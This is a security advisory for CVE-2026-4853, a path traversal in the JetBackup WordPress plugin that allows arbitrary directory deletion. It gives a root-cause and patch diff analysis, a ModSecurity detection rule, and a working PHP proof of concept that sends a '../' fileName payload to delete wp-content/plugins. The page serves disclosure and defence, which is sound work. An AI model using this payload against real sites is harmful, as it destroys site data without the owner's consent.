Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-4853: JetBackup <= 3.1.19.8 – Authenticated (Administrator+) Arbitrary Directory Deletion via Path Traversal in 'fileName' Parameter (backup)

CVE ID CVE-2026-4853
Plugin backup
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 3.1.19.8
Patched Version 3.1.20.3
Disclosed April 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4853:
This vulnerability is an authenticated path traversal leading to arbitrary directory deletion in the JetBackup WordPress plugin versions up to and including 3.1.19.8. The flaw resides in the file upload handler, allowing administrators to delete critical WordPress directories by exploiting insufficient validation of the fileName parameter.

Root Cause: The vulnerability originates in the AddToQueue.php AJAX handler. The plugin receives a fileName parameter via the _getFileName() method. This parameter is sanitized only with sanitize_text_field(), which removes HTML tags but does not filter path traversal sequences like ‘../’. The unsanitized filename is passed to Upload::setFilename() and later used in Upload::getFileLocation(). This method, defined in backup/src/JetBackup/Upload/Upload.php, concatenates the filename directly to a temporary directory path without using basename() or validating the resolved path. When an uploaded file is deemed invalid (not a .tar or .tar.gz), the cleanup logic calls Util::rm(dirname($upload->getFileLocation())). The dirname() function resolves the traversed path, and Util::rm() recursively deletes the resulting directory.

Exploitation: An attacker with administrator access sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to jetbackup_add_to_queue. The request includes a fileName parameter containing a path traversal payload, such as ‘../../../../wp-content/plugins’. The attacker also provides a small, invalid file upload. The plugin processes the upload, constructs a file path outside the intended temporary directory, fails the archive validation, and triggers the recursive deletion of the directory resolved by dirname(). This can delete wp-content/plugins or other parent directories.

Patch Analysis: The patch adds validation in two locations. In AddToQueue.php, before setting the upload filename, the code checks if _getFileName() equals basename(_getFileName()), or if the filename is ‘.’ or ‘..’. If validation fails, an AjaxException is thrown. In Upload::getFileLocation(), the patch extracts the filename via basename(), validates it is not empty, ‘.’, or ‘..’, and uses this safe filename for path construction. These changes ensure the filename cannot contain directory separators, preventing path traversal during concatenation and subsequent directory resolution in dirname().

Impact: Successful exploitation allows an authenticated administrator to delete any directory accessible to the web server user. This includes critical WordPress directories like wp-content/plugins, wp-content/themes, and wp-admin. Deleting wp-content/plugins disables all plugins, causing site functionality loss and potential downtime. The attack requires administrator privileges, limiting its scope, but it provides a powerful disruption vector for malicious insiders or compromised admin accounts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/backup/backup.php
+++ b/backup/backup.php
@@ -3,7 +3,7 @@
  * Plugin Name:       JetBackup
  * Plugin URI:        https://www.jetbackup.com/jetbackup-for-wordpress
  * Description:       JetBackup is the most complete WordPress site backup and restore plugin. We offer the easiest way to backup, restore or migrate your site. You can backup your files, database or both.
- * Version:           3.1.19.8
+ * Version:           3.1.20.3
  * Author:            JetBackup
  * Author URI:        https://www.jetbackup.com/jetbackup-for-wordpress
  * License:           GPLv2 or later
--- a/backup/src/JetBackup/Ajax/Calls/AddToQueue.php
+++ b/backup/src/JetBackup/Ajax/Calls/AddToQueue.php
@@ -227,6 +227,12 @@
 			if(!$this->_getFileUploadId()) {
 				if(!$this->_getFileSize()) throw new AjaxException("No upload file size was provided");

+				if(
+					$this->_getFileName() != basename($this->_getFileName()) ||
+					$this->_getFileName() == "." ||
+					$this->_getFileName() == ".."
+				) throw new AjaxException("Invalid filename: ". $this->_getFileName());
+
 				$upload->setFilename($this->_getFileName());
 				$upload->setSize($this->_getFileSize());
 				$upload->setCreated(time());
@@ -244,14 +250,16 @@

 			if($upload->isCompleted()) {

-				if (!( Archive::isTar($upload->getFileLocation()) || Archive::isGzCompressed($upload->getFileLocation()) ) ) {
-					Util::rm(dirname($upload->getFileLocation()));
+				$fileLocation = $upload->getFileLocation();
+
+				if (!( Archive::isTar($fileLocation) || Archive::isGzCompressed($fileLocation) ) ) {
+					Util::rm(dirname($fileLocation));
 					throw new AjaxException("Invalid backup file provided. Only .tar or .tar.gz files are allowed.");
 				}

 				// Import the backup file and save it to the database for potential retry
 				$crossDomain = Factory::getSettingsRestore()->isRestoreAllowCrossDomain();
-				$snap = Snapshot::importFromPath($upload->getFileLocation(), $crossDomain);
+				$snap = Snapshot::importFromPath($fileLocation, $crossDomain);
 				$snap->addToRestoreQueue($options, $excluded_files, $included_files, $exclude_db, $include_db);
 				$this->setResponseData($this->isCLI() ? $snap->getDisplayCLI() : $snap->getDisplay());
 				$this->setResponseMessage("Added to queue!");
--- a/backup/src/JetBackup/Ajax/Calls/ManageSchedule.php
+++ b/backup/src/JetBackup/Ajax/Calls/ManageSchedule.php
@@ -6,6 +6,7 @@


 use JetBackupAjaxaAjax;
+use JetBackupBackupJobBackupJob;
 use JetBackupExceptionAjaxException;
 use JetBackupExceptionDBException;
 use JetBackupExceptionFieldsValidationException;
@@ -74,6 +75,24 @@
 		$schedule->validateFields();
 		$schedule->save();

+        $jobs = BackupJob::query()
+            ->select([JetBackup::ID_FIELD])
+            ->getQuery()
+            ->fetch();
+
+        foreach ($jobs as $jobData) {
+            $job = new BackupJob($jobData[JetBackup::ID_FIELD]);
+
+            foreach ($job->getSchedules() as $scheduleItem) {
+                if ($scheduleItem->getId() == $schedule->getId()) {
+                    // update next_run on backup job
+                    $job->calculateNextRun();
+                    $job->save();
+                    break;
+                }
+            }
+        }
+
 		$this->setResponseMessage('Success');
 		$this->setResponseData($this->isCLI() ? $schedule->getDisplayCLI() : $schedule->getDisplay());

--- a/backup/src/JetBackup/BackupJob/BackupJob.php
+++ b/backup/src/JetBackup/BackupJob/BackupJob.php
@@ -77,6 +77,8 @@
 	const BACKUP_ACCOUNT_CONTAINS_HOMEDIR = 1;
 	const BACKUP_ACCOUNT_CONTAINS_DATABASE = 2;
 	const BACKUP_ACCOUNT_CONTAINS_FULL = self::BACKUP_ACCOUNT_CONTAINS_HOMEDIR | self::BACKUP_ACCOUNT_CONTAINS_DATABASE;
+    // mask of ALL allowed bits
+    const BACKUP_ACCOUNT_CONTAINS_ALL = self::BACKUP_ACCOUNT_CONTAINS_HOMEDIR | self::BACKUP_ACCOUNT_CONTAINS_DATABASE;

 	const BACKUP_CONFIG_CONTAINS_CONFIG = 1;
 	const BACKUP_CONFIG_CONTAINS_DATABASE = 2;
@@ -431,7 +433,9 @@

 		return implode(", ", $name);
 	}
-
+    public function isValidBackupType(int $value): bool {
+        return $value > 0 && ($value & ~self::BACKUP_ACCOUNT_CONTAINS_ALL) === 0;
+    }
 	public function setHidden(bool $hidden) { $this->set(self::HIDDEN, $hidden); }
 	public function isHidden():bool { return !!$this->get(self::HIDDEN, false); }

@@ -665,8 +669,8 @@
 		if(!$this->getType()) throw new FieldsValidationException("You must provide backup type");
 		if(!in_array($this->getType(), [self::TYPE_ACCOUNT,self::TYPE_CONFIG])) throw new FieldsValidationException("Invalid backup type provided");

-		if(!$this->getContains()) throw new FieldsValidationException("Backup has to contain at least files or database");
-
+        if (!$this->getContains()) throw new FieldsValidationException("Backup has to contain at least files or database");
+        if (!$this->isValidBackupType($this->getContains())) throw new FieldsValidationException("Invalid backup type");
 		if($this->getDestinations()) {
 			$destinations = [];
 			$is_local = 0;
--- a/backup/src/JetBackup/CLI/Command.php
+++ b/backup/src/JetBackup/CLI/Command.php
@@ -725,19 +725,13 @@
      * [--backup_path=<path>]
      * : Define the directory path on the remote server for storing backups. Make sure it’s writable and uniquely identifies the domain (e.g., /backups/domain.com/).
      *
-     * [--enabled=<enabled>]
-     * : Set destination enabled or disabled
-     *
-     * [--export_config=<export_config>]
-     * : Set export config enabled or disabled
-     *
      * [--options=<json-options>]
      * : Provide connection details and other advanced options in JSON format.
      * Example: '{"host":"sftp_host","username":"sftp_user","password":"sftp_pass","port":22,"timeout":60,"retries":5}'
      *
      * ## EXAMPLES
      *
-     *     wp jetbackup manageDestination --id=5 --name="sftp" --enabled=0 --export_config=0 --chunk_size=1 --free_disk=0 --backup_path=/foo/boo --notes="This is a note" --options='{"host":"sftp_host","username":"sftp_user","password":"sftp_pass","port":22,"timeout":60,"retries":5}'
+     *     wp jetbackup manageDestination --id=5 --name="sftp"--chunk_size=1 --free_disk=0 --backup_path=/foo/boo --notes="This is a note" --options='{"host":"sftp_host","username":"sftp_user","password":"sftp_pass","port":22,"timeout":60,"retries":5}'
      *     wp jetbackup manageDestination --id=5 --name="google" --type=GoogleDrive --backup_path=/foo/boo --options='{"access_code":"YOU_ACCESS_CODE_HERE"}'
      *
      * @when after_wp_load
@@ -859,19 +853,25 @@
 	 *
 	 * ## OPTIONS
 	 *
-	 * [--debug=<debug>]
+	 * [--debug_log=<debug_log>]
 	 * : enable or disable debug logging.
 	 *
-	 * [--log_rotate=<log_rotate>]
+	 * [--log_rotate=<bool>]
 	 * : specify the number of days to retain log files. older logs beyond this duration will be automatically deleted. set this value to 0 to keep logs indefinitely.
 	 *
 	 * ## EXAMPLES
 	 *
-	 *     wp jetbackup manageSettingsLogging --debug=1 --log_rotate=7
+	 *     wp jetbackup manageSettingsLogging --debug2=1 --log_rotate=7
 	 *
 	 * @when after_wp_load
 	 */
-	public function manageSettingsLogging($args, $flags) { self::_command(__FUNCTION__, $args, self::_keyToUpper($flags)); }
+	public function manageSettingsLogging($args, $flags) {
+        // 'debug' is reserved by WP-CLI, so we cannot use it directly as a flag.
+        //// Map our custom 'debug_log' flag to 'debug' internally.
+        $flags['debug'] = $flags['debug_log'] ?? 0; // fallback to 0 if not set
+        self::_command(__FUNCTION__, $args, self::_keyToUpper($flags));
+
+    }


 	/**
@@ -914,13 +914,33 @@
 	 * [--alternate_email=<alternate_email>]
 	 * : set an alternate email address for notifications instead of the default admin email.
 	 *
+     * [--notification_levels_frequency=<notification_levels_frequency>]
+     * : JSON string for notification levels frequency.
+     *     Levels:
+     *      1 = Information
+     *      2 = Warning
+     *      4 = Error
+     *
+     *     Frequency:
+     *         0 = Disabled
+     *         1 = Real Time
+     *         2 = Once a day
+     *     Example: '{"1":2,"2":0,"4":2}'
+     *
 	 * ## EXAMPLES
 	 *
 	 *     wp jetbackup manageSettingsNotifications --emails=1 --alternate_email=youremail@gmail.com
 	 *
 	 * @when after_wp_load
 	 */
-	public function manageSettingsNotifications($args, $flags) { self::_command(__FUNCTION__, $args, self::_keyToUpper($flags)); }
+	public function manageSettingsNotifications($args, $flags) {
+        if (isset($flags['notification_levels_frequency'])) {
+            $decoded = json_decode($flags['notification_levels_frequency'], true);
+            $flags['notification_levels_frequency'] = $decoded;
+        }
+        self::_command(__FUNCTION__, $args, self::_keyToUpper($flags));
+
+    }


 	/**
@@ -931,7 +951,7 @@
 	 * [--read_chunk_size=<read_chunk_size>]
 	 * : set the chunk size for file uploads. affects upload speed and stability.
 	 *
-	 * [--execution_time=<execution_time>]
+	 * [--performance_execution_time=<performance_execution_time>]
 	 * : define the maximum execution time (in seconds) for queued tasks. applies only to web-based tasks.
 	 *
 	 * [--sql_cleanup_revisions=<sql_cleanup_revisions>]
@@ -954,7 +974,7 @@
 	 *
 	 * ## EXAMPLES
 	 *
-	 *     wp jetbackup manageSettingsPerformance --read_chunk_size=2097152 --execution_time=10 --sql_cleanup_revisions=1 --use_default_excludes=1 --gzip_compress_archive=1
+	 *     wp jetbackup manageSettingsPerformance --read_chunk_size=2097152 --performance_execution_time=10 --sql_cleanup_revisions=1 --use_default_excludes=1 --gzip_compress_archive=1
 	 *
 	 * @when after_wp_load
 	 */
@@ -975,8 +995,8 @@
 	 * [--restore_alternate_path=<bool>]
 	 * : enable (1) or disable (0) using alternate public restore path
 	 *
-	 *  [--restore_wp_content_only=<bool>]
-	 *  : enable (1) or disable (0) limit restore to wp-content folder only
+     * [--restore_wp_content_only=<bool>]
+     * : enable (1) or disable (0) limit restore to wp-content folder only
 	 *
 	 * ## EXAMPLES
 	 *
--- a/backup/src/JetBackup/JetBackup.php
+++ b/backup/src/JetBackup/JetBackup.php
@@ -10,7 +10,7 @@

 	private function __construct() {}

-	const VERSION = '3.1.19.8';
+	const VERSION = '3.1.20.3';
 	const DEVELOPMENT = false;

 	const DEFAULT_LANGUAGE = 'en_US';
--- a/backup/src/JetBackup/Schedule/Schedule.php
+++ b/backup/src/JetBackup/Schedule/Schedule.php
@@ -54,12 +54,13 @@
 		self::TYPE_HOURLY        => 1,
 		self::TYPE_DAILY        => [1,2,3,4,5,6,7],
 		self::TYPE_WEEKLY       => 1,
-		self::TYPE_MONTHLY      => [1]
+		self::TYPE_MONTHLY      => 1
 	];

+   CONST ALLOWED_HOURLY_INTERVALS = [1,2,3,4,6,8,12];
 	const ALLOWED_INTERVALS = [
 		self::TYPE_DAILY        => [1,2,3,4,5,6,7],
-		self::TYPE_MONTHLY      => [1,7,14,21,28]
+		self::TYPE_MONTHLY      => [1,7,14,21,28],
 	];

 	const TYPE_NAMES = [
@@ -501,6 +502,16 @@
 				);
 			}
 		}
+        if ($this->getType() == Schedule::TYPE_HOURLY) {
+            $interval = $this->getIntervals();
+            if (!in_array($interval, self::ALLOWED_HOURLY_INTERVALS, true)) {
+                throw new FieldsValidationException(
+                    "Schedule interval '{$interval}' is invalid for " .
+                    Schedule::TYPE_NAMES[Schedule::TYPE_HOURLY] .
+                    ". Allowed intervals: " .implode(',',self::ALLOWED_HOURLY_INTERVALS)
+                );
+            }
+        }


 		if ($this->getType() == Schedule::TYPE_AFTER_JOB_DONE) {
--- a/backup/src/JetBackup/Settings/General.php
+++ b/backup/src/JetBackup/Settings/General.php
@@ -250,13 +250,11 @@
 			} catch (Exception $e) {
 				throw new FieldsValidationException($e->getMessage());
 			}
-
-
 		}

 		if(in_array(self::TIMEZONE, $changedFields)) {
-			if((!$this->getTimeZone() || $this->getTimeZone() != (self::DEFAULT_TIMEZONE || self::WORDPRESS_TIMEZONE)) && !isset(Util::generateTimeZoneList()[$this->getTimeZone()]))
-				throw new FieldsValidationException("Timezone " . $this->getTimeZone(). " is not valid");
+            if (!$this->getTimeZone() || ($this->getTimeZone() != self::DEFAULT_TIMEZONE && $this->getTimeZone() != self::WORDPRESS_TIMEZONE && !isset(Util::generateTimeZoneList()[$this->getTimeZone()])))
+                throw new FieldsValidationException("Timezone " . $this->getTimeZone() . " is not valid");
 		}

 		if(in_array(self::PHP_CLI_LOCATION, $changedFields)) {
--- a/backup/src/JetBackup/Settings/Performance.php
+++ b/backup/src/JetBackup/Settings/Performance.php
@@ -15,7 +15,6 @@
 	const SECTION = 'performance';

 	const EXECUTION_TIME = 'PERFORMANCE_EXECUTION_TIME';
-
 	const READ_CHUNK_SIZE = 'READ_CHUNK_SIZE';
 	const SQL_CLEANUP_REVISIONS = 'SQL_CLEANUP_REVISIONS';
 	const USE_DEFAULT_EXCLUDES = 'USE_DEFAULT_EXCLUDES';
@@ -27,7 +26,7 @@
 	const DEFAULT_EXCLUDES = 'DEFAULT_EXCLUDES';
 	const DEFAULT_DB_EXCLUDES = 'DEFAULT_DB_EXCLUDES';
 	const EXECUTION_TIMES =  [0, 10, 20, 30, 40, 50, 60, 120, 300, 600];
-
+    const CHUNK_SIZES = [1, 2, 3, 4, 5 ,6 ,8, 10, 12, 14, 16, 20, 24, 32, 64];
 	/**
 	 * @throws IOException
 	 * @throws ReflectionException
@@ -178,6 +177,11 @@

 		$changedFields = self::getChangedFields($this->getData(), (new Performance())->getData());

+        if(in_array(self::READ_CHUNK_SIZE, $changedFields)) {
+            if(!in_array($this->getReadChunkSize(), self::CHUNK_SIZES))
+                throw new FieldsValidationException('Chunk size '. $this->getReadChunkSize() . ' is not allowed');
+        }
+
 		if(in_array(self::EXECUTION_TIME, $changedFields)) {
 			if(!in_array($this->getExecutionTime(), self::EXECUTION_TIMES))
 				throw new FieldsValidationException('Execution time of '. $this->getExecutionTime() . ' is not allowed');
--- a/backup/src/JetBackup/Upload/Upload.php
+++ b/backup/src/JetBackup/Upload/Upload.php
@@ -63,7 +63,11 @@
 		$directory = Factory::getLocations()->getTempDir() . JetBackup::SEP . $this->getUniqueId();
 		if(!is_dir($directory)) mkdir($directory, 0700);
 		Util::secureFolder($directory);
-		return $directory . JetBackup::SEP . $this->getFilename();
+
+		$safeFilename = basename($this->getFilename());
+		if($safeFilename === '' || $safeFilename === '.' || $safeFilename === '..') throw new IOException("Invalid filename provided");
+
+		return $directory . JetBackup::SEP . $safeFilename;
 	}

 	/**

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4853
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264853,phase:2,deny,status:403,chain,msg:'CVE-2026-4853 Path Traversal in JetBackup fileName Parameter',severity:'CRITICAL',tag:'CVE-2026-4853',tag:'WordPress',tag:'JetBackup'"
  SecRule ARGS_POST:action "@streq jetbackup_add_to_queue" "chain"
    SecRule ARGS_POST:fileName "@rx (?i)(?:^|[/])..(?:[/]|..|$)" 
      "t:lowercase,t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4853 - JetBackup <= 3.1.19.8 - Authenticated (Administrator+) Arbitrary Directory Deletion via Path Traversal in 'fileName' Parameter

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$admin_cookie = 'wordpress_logged_in_abc=...'; // Replace with valid admin session cookie
$nonce = 'abc123'; // Replace with valid WordPress nonce for 'jetbackup_add_to_queue' action

// Target directory to delete (relative to WordPress root). Using wp-content/plugins for demonstration.
$traversal_payload = '../../../../wp-content/plugins';

// Create a small invalid file (not a .tar archive)
$invalidFileContent = "This is not a valid tar file.";
$cfile = new CURLFile('data://text/plain;base64,' . base64_encode($invalidFileContent), 'application/octet-stream', 'dummy.txt');

$post_fields = [
    'action' => 'jetbackup_add_to_queue',
    'fileName' => $traversal_payload, // The malicious filename with path traversal
    'fileSize' => strlen($invalidFileContent),
    '_ajax_nonce' => $nonce,
    'file' => $cfile
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $admin_cookie
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful attack may return an error about an invalid backup file, but the directory deletion will have occurred.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School